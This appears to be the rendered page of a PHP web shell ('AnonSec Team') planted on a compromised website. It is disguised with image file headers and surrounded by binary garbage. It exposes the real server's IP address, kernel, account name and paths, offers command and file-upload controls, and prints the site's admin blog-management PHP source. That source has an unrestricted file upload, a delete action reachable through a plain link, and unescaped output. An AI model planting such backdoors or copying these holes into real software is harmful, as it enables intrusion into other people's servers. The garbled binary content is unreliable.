����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������ Xzourt Bypazz

Upload your file


�����x������x������C�     ���C   ����<�d"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ ��?��S��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��ÿØÿà JFIF ÿþ;GIF89;aGIF89;aGIF89;a AnonSec Team
AnonSec Team
Server IP : 103.191.208.227  /  Your IP : 3.145.39.183
Web Server : LiteSpeed
System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
User : mhmsfzcs ( 1485)
PHP Version : 8.1.31
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/mhmsfzcs/vflyorions.com/admin/assets/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/mhmsfzcs/vflyorions.com/admin/assets/../manage_blog.php
<?php 
   include 'db.php';
   include 'header.php'; 
   include 'sidebar.php'; 
   
   
    $image="";
if (isset($_POST['edit_blog'])) {
    $id = $_POST['id'];
    $heading = $_POST['heading'];
    $short_desc = $_POST['short_desc'];
    $long_desc = $_POST['long_desc'];
    
    // Image handling
    $image = $_FILES['image']['name'];
    $oldimage = $_POST['oldimage'];
    
    // Check if a new image was uploaded
    if (isset($_FILES['image']['name']) && ($_FILES['image']['name'] != "")) {
        $newimage = $_FILES['image']['name'];
        $destinationfile = 'assets/blog_image/' . $newimage;
        
        // Move the uploaded file to the destination directory
        if (move_uploaded_file($_FILES['image']['tmp_name'], $destinationfile)) {
            // Successfully uploaded
        } else {
            // Failed to upload
            $newimage = $oldimage; // Keep the old image if upload failed
        }
    } else {
        $newimage = $oldimage; // Keep the old image if no new image is uploaded
    }
    
    // Update the blog entry in the database
    $insert2 = $conn->prepare("UPDATE `blog` SET `heading`=?, `short_desc`=?, `long_desc`=?, `image`=? WHERE id=?");
    $insert2->bind_param("sssss", $heading, $short_desc, $long_desc, $newimage, $id);
    
    $res = $insert2->execute();
    
    if ($res) {
        $_SESSION['status'] = "Blog updated successfully";
        $_SESSION['status_code'] = "success";
    } else {
        $_SESSION['status'] = "Oops! Something went wrong while updating the blog.";
        $_SESSION['status_code'] = "error";
    }
}

   
   if(isset($_GET['delete']))
                {
                      $ad=$_GET['delete'];
                      $query=$conn->prepare("delete from blog where id =?");
                      $query->bind_param("s",$ad);
                      $res=$query->execute();
                     
                       if($res)
                       {
                            $_SESSION['status']="User Deleted Successfully";
                            $_SESSION['status_code']="success";
                       }
                       else
                       {
                            $_SESSION['status']="Oops something went wrong!!";
                            $_SEESION['status_code']="error";
                       }
                }
   
   
   ?>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
   <div class="container-fluid">
      <div class="row mb-2">
         <div class="col-sm-6">
            <h1 class="m-0">Dashboard</h1>
         </div>
         <!-- /.col -->
         <div class="col-sm-6">
            <ol class="breadcrumb float-sm-right">
               <li class="breadcrumb-item"><a href="#">Home</a></li>
               <li class="breadcrumb-item active">Dashboard</li>
            </ol>
         </div>
         <!-- /.col -->
      </div>
      <!-- /.row -->
   </div>
   <!-- /.container-fluid -->
</div>
<!-- /.content-header -->
<!-- Main content -->
<section class="content">
   <div class="container-fluid">
   <div class="card">
      <div class="card-header">
         <h3 class="card-title">Manage Blog</h3>
      </div>
      <!-- /.card-header -->
      <div class="card-body">
         <table id="example1" class="table table-bordered table-striped">
            <thead>
               <tr>
                  <th>Sr.No</th>
                  <th>Heading</th>
                  <th>short description</th>
                  <th>long description</th>
                
                  <th>Image</th>
                
                  <th>Action</th>
               </tr>
            </thead>
            <tbody>
               <?php
                  $que="SELECT * From blog ORDER BY id DESC";
                  $r=$conn->query($que);
                  $sr=1;
                  
                  while($row=$r->fetch_assoc())
                  {
                    $id=$row['id']; 
                  ?> 
               <tr>
                  <td><?php echo $sr;?></td>
                  <td><?php echo $row['heading'];?></td>
                  <td>
                     <div class="summary">
                        <!--hello aniket-->
                        <button class="read-more-button">Read More</button>
                        <div class="full-content" style="display:none;">   <?php echo $row['short_desc'];?></div></div>
                  </td>
                  <td> <div class="summary"><button class="read-more-button">Read More</button>
                  <div class="full-content" style="display:none;"><?php echo $row['long_desc'];?></div></div>
                  </td>
                
                  <td><img src="<?php echo ('assets/blog_image')."/". $row['image'];?>" width="70"></td>
                 
                  <td>
                      <button type="button" class="btn btn-success waves-effect btn-label waves-light edit-blog-button" data-id="<?php echo $id; ?>"><i class="fas fa-edit label-icon"></i> Edit</button>

                  <!--<button type="button" class="btn btn-success waves-effect btn-label waves-light"data-bs-toggle="modal" data-bs-target="#myModal<?php echo $id;?>" data-id="<?php echo $id; ?>"><i class="fas fa-edit label-icon"></i> Edit<?php echo $id; ?></button>-->
                  <a href="manage_blog.php?delete=<?= $row['id']; ?>" onclick="return confirm('Are you sure to delete?')" class="btn btn-danger">Delete</a></td>
               </tr>
               <!-- The Modal -->
               <div class="modal fade" id="myModal<?php echo $id;?>">
               <?php
                  $sql=("SELECT * FROM `blog` WHERE `id`='$id'");
                   $res = $conn->query($sql);
                    while($num=$res->fetch_assoc())
                   {   
                   
                  ?>
               <div class="modal-dialog">
               <div class="modal-content" style="width:123%">
               <!-- Modal Header -->
               <div class="modal-header">
               <button type="button" class="btn-close"  data-bs-dismiss="modal"></button>
               <h4 class="modal-title">Blog Edit</h4>
               <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
               </div>
               <!-- Modal body -->
               <div class="modal-body">
               <div class="row">
               <!--<div class="col-sm-3">-->
               <!--</div>-->
               <div class="col-sm-12">
               <form method="POST" enctype="multipart/form-data">
               <div class="card-body">
               <div class="row"> <!--aniket-->
               <div class="col-sm-12">
               <div class="form-group">
               <label for="exampleInputFullName">Blog Heading</label>
               <input type="text" name="heading" class="form-control" id="exampleInputName" placeholder="heading" required="" value="<?php echo $num['heading'];?>">
               <input type="hidden" name="id" class="form-control" value="<?php echo $num['id'];?>">
               </div>
              
               
               <div class="form-group">
               <label for="exampleInputPassword1">Short Description</label>
               
               <textarea class="form-control" name="short_desc" id="exampleInputlname" value="" rows="3" placeholder="Short Description"><?php echo $num['short_desc'];?></textarea>
               </div>
               <div class="form-group">
               <label for="exampleInputPassword1">Long Description</label>
               <!--<input type="text" class="form-control" name="long_desc" value="<php echo $num['long_desc']; ?>">-->
               <textarea class="form-control" name="long_desc" id="exampleInputlname" value="" rows="8" placeholder="Long Description"><?php echo $num['long_desc'];?></textarea>
              
               </div>
               <div class="form-group">
               <label>Image </span></label>
               <input type="hidden" class="form-control" id="exampleInputdob" name="oldimage" placeholder="Image" value="<?php echo $num['image'];?>">
               <input type="file" class="form-control" id="exampleInputdob" name="image" placeholder="Image">
               <img src="<?php echo('assets/blog_image')."/".$num['image'];?>" width="100" class="img-thumbnail" >
               </div>    
               </div> <!---col-->     
               
          
               </div> <!--row-->
               </div><!--card-body>
                  <!-- Modal footer -->
               <div class="modal-footer">
               <button type="submit" name="edit_blog" class="btn btn-success text-center" data-bs-dismiss="modal">Submit</button>
               </div>
               </form>
               </div> 
               </div>
               </div>
               </div>
               </div>
               <?php } ?>
               </div>
               <?php
                  $sr=$sr+1;}
                  ?>
            </tbody>
         </table>
         </div>
         <!-- /.card-body -->
         </div>
         <!-- /.card -->
         </div>
         <!-- /.row -->
         </div><!--/. container-fluid -->
         <!-- Add this script at the end of your HTML body -->
<script>
    // Wait for the document to fully load
    document.addEventListener("DOMContentLoaded", function() {
        // Get all the edit buttons
        var editButtons = document.querySelectorAll('.edit-blog-button');

        // Loop through each edit button
        editButtons.forEach(function(button) {
            // Add a click event listener to each edit button
            button.addEventListener('click', function() {
                // Get the ID of the blog post
                var blogId = button.getAttribute('data-id');
                
                // Find the corresponding modal and open it
                var modal = document.getElementById('myModal' + blogId);
                var modalInstance = new bootstrap.Modal(modal);
                modalInstance.show();
            });
        });
    });
</script>
</section>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->

<!-- <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
   <script type="text/javascript">
   $(document).ready(function()
   {
   $("#site").change(function()
   {
   
   var site_id=$(this).val();
   var post_id = 'id='+ site_id;
   
   $.ajax
   ({
   type: "POST",
   url: "fetch.php",
   data: post_id,
   cache: false,
   success: function(cities)
   {
   
   $("#cp").html(cities);
   } 
   });
   
   });
   });
   </script>    -->
<script>
   const readMoreButtons = document.getElementsByClassName("read-more-button");
   const fullContents = document.getElementsByClassName("full-content");
   
   // Add click event listeners to all "Read More" buttons
   for (let i = 0; i < readMoreButtons.length; i++) {
       readMoreButtons[i].addEventListener("click", () => {
           // Toggle the display of the associated full content
           fullContents[i].style.display = fullContents[i].style.display === "none" ? "block" : "none";
   
           // Update the button text based on the current state
           readMoreButtons[i].textContent = fullContents[i].style.display === "none" ? "Read More" : "Read Less";
       });
   }
</script>
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
<?php  if(isset($_SESSION['status']) && $_SESSION['status']!='') { ?>
<script>
   new swal({
   title: "<?php echo $_SESSION['status'];?>",
   //text: "You clicked the button!",
   icon: "<?php echo $_SESSION['status_code'];?>",
   button: "OK",
   }).then(function() {
   window.location = "manage_blog.php";
   });
</script>
<?php
   unset($_SESSION['status']);
   }
   ?>
<?php include 'footer.php'; ?>

AnonSec - 2021